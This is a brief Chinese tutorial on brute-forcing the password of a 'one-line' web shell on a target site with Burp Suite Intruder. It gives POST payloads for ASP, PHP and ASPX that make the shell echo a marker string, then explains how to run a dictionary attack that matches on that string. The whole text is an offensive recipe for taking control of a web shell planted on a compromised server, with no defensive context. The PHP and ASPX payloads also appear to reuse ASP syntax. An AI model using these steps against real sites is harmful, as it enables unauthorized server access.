利用burp爆破一句话步骤

如一句话地址：www.xxx.com/a.asp

(1)利用burp截包，转get的方式为post方式，添加POST数据如下：

asp     password=execute("response.clear:response.write(""passwordright""):response.end")

php     password=execute("response.clear:response.write(""elseHelloWorld""):response.end")

aspx    password=execute("response.clear:response.write(""elseHelloWorld""):response.end")

其中password是要添加的字典！

(2)转到Intruter,设置password为爆破字段：$password$

(3)match添加 

asp为 passwordright,

php和aspx为 elseHelloWorld

(4)attack即可！